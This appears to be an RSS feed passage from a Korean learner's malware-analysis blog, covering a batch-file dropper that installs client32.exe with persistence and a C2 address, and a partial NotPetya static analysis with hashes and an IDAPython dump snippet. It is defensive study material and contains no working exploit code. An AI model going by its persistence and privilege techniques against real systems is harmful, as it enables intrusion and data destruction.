&lt;p data-ke-size=&quot;size16&quot;&gt;해당 bat파일은 경로에 있던 7zz.exe와 tempy.7z을 C:\ProgramData\ 경로로 복사한다. 이떄 옵션은 /h, /y이다. 각각 숨김/시스템 속성 파일도 복사, 덮어쓰기 확인 생략 이다. 그 후 7zz.exe로 tempy.7z을 압축 해제 한다. 압축 해제된 파일에서 나온 client32.exe를 작업스케줄러에 &amp;ldquo;KAVYS&amp;rdquo;라는 이름으로 작업을 등록하고 8분마다 실행, StartBoundary를 과거로 설정해 스케줄을 활성화 8분 마다 지속성을 확보하고있다. 또한 &amp;ldquo;HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run&amp;rdquo; 경로에 client32.exe를 등록시켜 지속성을 추가로 유지한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 batch파일은 단순하게 파일 압축을 해제하고 지속성을 유지시키는 역할만 수행한다. 같은 ZPHP계열 악성 스크립트를 분석했을때는 네트워크 활동으로 tempy.7z파일을 다운로드 하는 역할만 존재했다. 해당 batch파일은 각각 사용하는것이 아닌 동시다발적으로 사용해야 실제 악성행위가 일어난다는것이 확인된다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;결론&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 악성코드는 bat파일을 사용하여 만들어진 악성코드고 난독화를 통해 백신 우회를 시도한것으로 보인다. 악성코드의 기능으로는 악성 행위를 하는데 필요한 파일들을 C2 서버에서 받아서 악성행위를 시도한것으로 보이고 악성프로그램이 아닌 정상 프로그램인 client32.exe 통해 5.252.178.48:443로 연결하여 RAT과 같은 행위를 수행한것으로 보인다. mitre attack에 따르면 T1219.002(Remote Desktop Software)는 합법적인 원격접속 도구를 이용해 상호작용형 C2 채널을 형성하는 기술이라는것이 명시되어있다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;MITRE ATT&amp;amp;CK 매핑&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Obfuscation(T1027)&lt;/li&gt;
&lt;li&gt;Ingress Tool Transfer(T1105)&lt;/li&gt;
&lt;li&gt;Scheduled Task(T1053.005)&lt;/li&gt;
&lt;li&gt;Run Key(T1547.001)&lt;/li&gt;
&lt;li&gt;Remote Access Tools(T1219 / T1219.002)&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>악성코드 분석</category>
      <author>grze0</author>
      <guid isPermaLink="true">https://dlwodnr59.tistory.com/8</guid>
      <comments>https://dlwodnr59.tistory.com/8#entry8comment</comments>
      <pubDate>Wed, 18 Feb 2026 14:26:17 +0900</pubDate>
    </item>
    <item>
      <title>NotPetya 분석 보고서</title>
      <link>https://dlwodnr59.tistory.com/7</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;학습용으로 악성코드분석을 하고있습니다. 틀린 내용이 있거나 문장이 이상한 부분 그냥 이건 쫌 이상한테 하는 부분은 언제든지 말해주시면 감사하겠습니다. 많이 배우겠습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Petya 랜섬웨어의 변종&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;md5 : 5b7e6e352bacc93f7b80bc968b6ea493&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;sha1 : e686139d5ed8528117ba6ca68fe415e4fb02f2be&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;sha256 : 63545fa195488ff51955f09833332b9660d18f8afb16bdf579134661962e548a&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;정적분석&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일을 만들고 그 파일에 주소에 있는 값을 넣고 동작을 종료하는것으로 보인다. 우선 sub_401000함수를 확인해보겠다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;729&quot; data-origin-height=&quot;244&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AQqPL/dJMcahXG3kJ/diTLhEHmSUZXGPvbjdUKN0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AQqPL/dJMcahXG3kJ/diTLhEHmSUZXGPvbjdUKN0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AQqPL/dJMcahXG3kJ/diTLhEHmSUZXGPvbjdUKN0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAQqPL%2FdJMcahXG3kJ%2FdiTLhEHmSUZXGPvbjdUKN0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;729&quot; height=&quot;244&quot; data-origin-width=&quot;729&quot; data-origin-height=&quot;244&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;%SystemRoot%는 윈도우 C:\Windows 경로이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;409&quot; data-origin-height=&quot;333&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/w2Y6v/dJMcaaYyAV9/4B3R8Zxn4jMjfCKU1BYhK0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/w2Y6v/dJMcaaYyAV9/4B3R8Zxn4jMjfCKU1BYhK0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/w2Y6v/dJMcaaYyAV9/4B3R8Zxn4jMjfCKU1BYhK0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fw2Y6v%2FdJMcaaYyAV9%2F4B3R8Zxn4jMjfCKU1BYhK0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;409&quot; height=&quot;333&quot; data-origin-width=&quot;409&quot; data-origin-height=&quot;333&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;sub_401000함수이고 우산적으로 lpSrc에 값이 없으면 return 0;으로 종료된다. 하지만 이전 함수에서 문자열으로 넘겨줬기 때문에 값이 존재한다고 추측한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 후 GetProcessHeap함수를 이용하여 힙 메모리를 사용할 수 있는 핸들을 지정한다. 그 후 HeapAlloc 함수를 통해 0x104만큼의 힙 메모리를 할당하고 0x8은 아래 &lt;a href=&quot;https://learn.microsoft.com/ko-kr/windows/win32/api/heapapi/nf-heapapi-heapalloc&quot;&gt;https://learn.microsoft.com/ko-kr/windows/win32/api/heapapi/nf-heapapi-heapalloc&lt;/a&gt; 해당 링크에서 가져온 표를 참고하자 그러면 해당 함수로 0x104만큼의 힙 메모리를 할당하고 해당 메모리를 0으로 초기화 시켰다. 그 후 v3에 메모리 블럭에 대한 포인터 값이 들어간다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;값 의미&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 99.7674%; height: 383px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 40.5814%;&quot;&gt;&lt;b&gt;HEAP_GENERATE_EXCEPTIONS&lt;/b&gt;0x00000004&lt;/td&gt;
&lt;td style=&quot;width: 59.3023%;&quot;&gt;시스템은&amp;nbsp;&lt;span data-token-index=&quot;1&quot;&gt;NULL&lt;/span&gt;을 반환하는 대신 메모리 부족 조건과 같은 함수 오류를 나타내는 예외를 발생합니다. 이 함수에 대한 모든 호출에 대해 예외가 생성되도록 하려면&amp;nbsp;&lt;a style=&quot;color: #000000;&quot; href=&quot;https://learn.microsoft.com/ko-kr/windows/desktop/api/heapapi/nf-heapapi-heapcreate&quot; data-token-index=&quot;3&quot;&gt;&lt;span&gt;HeapCreate&lt;/span&gt;&lt;/a&gt;&amp;nbsp;호출에서&amp;nbsp;&lt;span data-token-index=&quot;5&quot;&gt;HEAP_GENERATE_EXCEPTIONS&lt;/span&gt;&amp;nbsp;지정합니다. 이 경우 이 함수 호출에서&amp;nbsp;&lt;span data-token-index=&quot;7&quot;&gt;HEAP_GENERATE_EXCEPTIONS&lt;/span&gt;&amp;nbsp;추가로 지정할 필요가 없습니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 40.5814%;&quot;&gt;&lt;b&gt;HEAP_NO_SERIALIZE&lt;/b&gt;0x00000001&lt;/td&gt;
&lt;td style=&quot;width: 59.3023%;&quot;&gt;직렬화된 액세스는 이 할당에 사용되지 않습니다.자세한 내용은 설명 부분을 참조하세요. 이 함수에 대한 모든 호출에 대해 직렬화된 액세스를 사용하지 않도록 설정하려면&amp;nbsp;&lt;a style=&quot;color: #000000;&quot; href=&quot;https://learn.microsoft.com/ko-kr/windows/desktop/api/heapapi/nf-heapapi-heapcreate&quot; data-token-index=&quot;1&quot;&gt;&lt;span&gt;HeapCreate&lt;/span&gt;&lt;/a&gt;&amp;nbsp;호출에서&amp;nbsp;&lt;span data-token-index=&quot;3&quot;&gt;HEAP_NO_SERIALIZE&lt;/span&gt;&amp;nbsp;지정합니다. 이 경우 이 함수 호출에서&amp;nbsp;&lt;span data-token-index=&quot;5&quot;&gt;HEAP_NO_SERIALIZE&lt;/span&gt;&amp;nbsp;추가로 지정할 필요는 없습니다. 프로세스의 기본 힙에 액세스할 때 이 값을 지정하면 안 됩니다. 시스템은 프로세스의 기본 힙에 동시에 액세스하는 Ctrl+C 처리기와 같은 애플리케이션 프로세스 내에 추가 스레드를 만들 수 있습니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 40.5814%;&quot;&gt;&lt;span data-token-index=&quot;0&quot;&gt;HEAP_ZERO_MEMORY&lt;/span&gt;0x00000008&lt;/td&gt;
&lt;td style=&quot;width: 59.3023%;&quot;&gt;할당된 메모리가 0으로 초기화됩니다. 그렇지 않으면 메모리가 0으로 초기화되지 않습니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;323&quot; data-origin-height=&quot;20&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DrKh5/dJMcaaxvzJ1/KAIKAPH9pad32sQXjtbOx1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DrKh5/dJMcaaxvzJ1/KAIKAPH9pad32sQXjtbOx1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DrKh5/dJMcaaxvzJ1/KAIKAPH9pad32sQXjtbOx1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDrKh5%2FdJMcaaxvzJ1%2FKAIKAPH9pad32sQXjtbOx1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;323&quot; height=&quot;20&quot; data-origin-width=&quot;323&quot; data-origin-height=&quot;20&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 해당 ExpandEnvironmentStringsA함수는 일전에 입력받은 환경변수인 &amp;ldquo;%SystemRoot%\perfc.dat&amp;rdquo;을 실제 환경변수로 치환해주는 함수이다 앞전에 설명했던 &amp;ldquo;%SystemRoot%는 윈도우 C:\Windows 경로이다.&amp;rdquo; 와 동일하게 된다. 최종적으로는 &amp;ldquo;C:\Windows\perfc.dat&amp;rdquo;이 라는 경로가 v3에 저장된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 후 GetFullPathNameA 함수를 통해 v3가 가르키는 문자열 &amp;ldquo;C:\Windows\perfc.dat&amp;rdquo;을 통해 생성한 문자열을 v5에다가 문자열을 기록한다. 그 후 v5의 문자열 주소값을 return한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;739&quot; data-origin-height=&quot;219&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/baKPTQ/dJMcajnClNl/34tKAmAhFxqx0tJdRU9C0K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/baKPTQ/dJMcajnClNl/34tKAmAhFxqx0tJdRU9C0K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/baKPTQ/dJMcajnClNl/34tKAmAhFxqx0tJdRU9C0K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbaKPTQ%2FdJMcajnClNl%2F34tKAmAhFxqx0tJdRU9C0K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;739&quot; height=&quot;219&quot; data-origin-width=&quot;739&quot; data-origin-height=&quot;219&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 다시 돌아와서 해당 함수는 문자열을 환경변수 치환을 통해 실제 경로로 바꿔주는 함수임을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CreateFileA 함수를 통해 일전에 얻었단 문자열인 &amp;ldquo;C:\Windows\perfc.dat&amp;rdquo;에 대한 File handle을 얻는다 해당 핸들은 파일을 읽고 쓰기가 가능하고 해당 파일이 없으면 새로 만드는 인자값을 가지고있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 후 WriteFile을 통해 &amp;amp;unk_407830에 있는 값을 0x58778만큼의 사이즈로 &amp;ldquo;C:\Windows\perfc.dat&amp;rdquo;에 write한다. 그 후 해당 파일 핸들을 닫는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 후 ShellExecuteA함수로 rundll32.exe를 통해 &amp;ldquo;C:\Windows\perfc.dat&amp;rdquo;를 실행시킨다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 알아 볼것은 &amp;amp;unk_407830이 뭔지 알아볼 차례다. 해당 영역으로 가보자&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;753&quot; data-origin-height=&quot;377&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lfIZA/dJMcahXG3ti/R4hBBhSw32ockitFzS4Nuk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lfIZA/dJMcahXG3ti/R4hBBhSw32ockitFzS4Nuk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lfIZA/dJMcahXG3ti/R4hBBhSw32ockitFzS4Nuk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlfIZA%2FdJMcahXG3ti%2FR4hBBhSw32ockitFzS4Nuk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;753&quot; height=&quot;377&quot; data-origin-width=&quot;753&quot; data-origin-height=&quot;377&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MZ 시그니처가 있는것을 보니 실행파일임을 추측할 수 있다. rdata영역은 read만 허용된 영역이다. only read&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러면 저 걸 추출 하기 위해 idapython을 사용했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;추출을 할려면 우선 정확한 크기를 알아야 한다. 이전 WriteFile 함수에서 사용된 값은 0x58778u이다.그렇다면&lt;/p&gt;
&lt;pre class=&quot;lsl&quot;&gt;&lt;code&gt;import ida_bytes
open(&quot;C:\\dump.bin&quot;,&quot;wb&quot;).write(ida_bytes.get_bytes(0x00407830, 0x58778)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 코드는 특정 주소부터 원하는 바이트까지 읽어 저장하는 코드다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;630&quot; data-origin-height=&quot;66&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dpXTcT/dJMcac9RFcL/PAkeMIY0aiV6xErQqxpr21/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dpXTcT/dJMcac9RFcL/PAkeMIY0aiV6xErQqxpr21/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dpXTcT/dJMcac9RFcL/PAkeMIY0aiV6xErQqxpr21/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdpXTcT%2FdJMcac9RFcL%2FPAkeMIY0aiV6xErQqxpr21%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;630&quot; height=&quot;66&quot; data-origin-width=&quot;630&quot; data-origin-height=&quot;66&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;성공적으로 추출한것을 볼 수 있다. 이제 해당 바이너리 파일을 ida로 분석해볼 차례이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;md5:71b6a493388e7d0b40c83ce903bc6b04&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SHA-1:34f917aaba5684fbe56d3c57d48ef2a1aa7cf06d&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SHA-256:027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 파일은 dll 파일로 추측된다.(rundll32.exe을 사용한것으로도 추측이 가능한거같다.)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;859&quot; data-origin-height=&quot;449&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mG0NR/dJMcah4sNhD/LZOlVJPWsChdoXEgSr6UU1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mG0NR/dJMcah4sNhD/LZOlVJPWsChdoXEgSr6UU1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mG0NR/dJMcah4sNhD/LZOlVJPWsChdoXEgSr6UU1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmG0NR%2FdJMcah4sNhD%2FLZOlVJPWsChdoXEgSr6UU1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;859&quot; height=&quot;449&quot; data-origin-width=&quot;859&quot; data-origin-height=&quot;449&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 perfc_1함수부터(처음에는 그냥 이름이 붙어있어서 봤는데 export를 보니까 얘가 있네요) 보겠다. 현재는 이름을 붙혀놓은 Privilege_elevation함수를 보면&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;569&quot; data-origin-height=&quot;292&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CDhYo/dJMcagEvkNW/nJnkl6Lsk43rHy9LPfpr81/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CDhYo/dJMcagEvkNW/nJnkl6Lsk43rHy9LPfpr81/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CDhYo/dJMcagEvkNW/nJnkl6Lsk43rHy9LPfpr81/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCDhYo%2FdJMcagEvkNW%2FnJnkl6Lsk43rHy9LPfpr81%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;569&quot; height=&quot;292&quot; data-origin-width=&quot;569&quot; data-origin-height=&quot;292&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런식으로 되어있다. Set_Privileges 함수의 역할을 해당 문자열에 맞는 권한을 AdjustTokenPrivileges함수를 통해 부여하는 함수이다. 해당 decompile code에서 보이는 SeShutdownPrivilege, SeDebugPrivilege, SeTcbPrivilege는 각각 로컬 시스팀을 종료하는데 사용 , 프로그램 디버그, 운영체제 일부로 작동하게 할 수 있는 권한들이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://learn.microsoft.com/ko-kr/windows/win32/secauthz/privilege-constants&quot;&gt;https://learn.microsoft.com/ko-kr/windows/win32/secauthz/privilege-constants&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음으로는 WSAStartup함수를 사용하여 socket 통신을 준비하는거라 볼 수 있다. 해당 내용은 뒤에 실제로 socket통신을 하는지 확인해봐야한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;931&quot; data-origin-height=&quot;481&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VO5lc/dJMcajnClOq/Ovxi9lutC2AQWx9VbLgkD0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VO5lc/dJMcajnClOq/Ovxi9lutC2AQWx9VbLgkD0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VO5lc/dJMcajnClOq/Ovxi9lutC2AQWx9VbLgkD0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVO5lc%2FdJMcajnClOq%2FOvxi9lutC2AQWx9VbLgkD0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;931&quot; height=&quot;481&quot; data-origin-width=&quot;931&quot; data-origin-height=&quot;481&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 함수를 보면 하드코딩된 공개키를 확인할 수 있고 각 드라이브별로 쓰레드를 생성하여 쓰레드에 해당 공개키를 전달한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;895&quot; data-origin-height=&quot;472&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b6LD9v/dJMcagLgsRg/hPbvhgdk4KAY8dO0OatXs0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b6LD9v/dJMcagLgsRg/hPbvhgdk4KAY8dO0OatXs0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b6LD9v/dJMcagLgsRg/hPbvhgdk4KAY8dO0OatXs0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb6LD9v%2FdJMcagLgsRg%2FhPbvhgdk4KAY8dO0OatXs0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;895&quot; height=&quot;472&quot; data-origin-width=&quot;895&quot; data-origin-height=&quot;472&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;랜섬노트인 readme.txt 파일을 생성하는 함수가 보인다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;913&quot; data-origin-height=&quot;446&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bohNIU/dJMcabDbsC6/ZH9kk015PHK5tzKKrXWRN1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bohNIU/dJMcabDbsC6/ZH9kk015PHK5tzKKrXWRN1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bohNIU/dJMcabDbsC6/ZH9kk015PHK5tzKKrXWRN1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbohNIU%2FdJMcabDbsC6%2FZH9kk015PHK5tzKKrXWRN1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;913&quot; height=&quot;446&quot; data-origin-width=&quot;913&quot; data-origin-height=&quot;446&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 함수는 확장자를 검사하여 해당 확장자가 위 확장자와 동일할 시 파일을 암호화하는 로직을 가지고있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;628&quot; data-origin-height=&quot;351&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rw2pa/dJMcafFzO0h/kZbOKLB7jp1F9pevp65OZ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rw2pa/dJMcafFzO0h/kZbOKLB7jp1F9pevp65OZ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rw2pa/dJMcafFzO0h/kZbOKLB7jp1F9pevp65OZ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Frw2pa%2FdJMcafFzO0h%2FkZbOKLB7jp1F9pevp65OZ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;628&quot; height=&quot;351&quot; data-origin-width=&quot;628&quot; 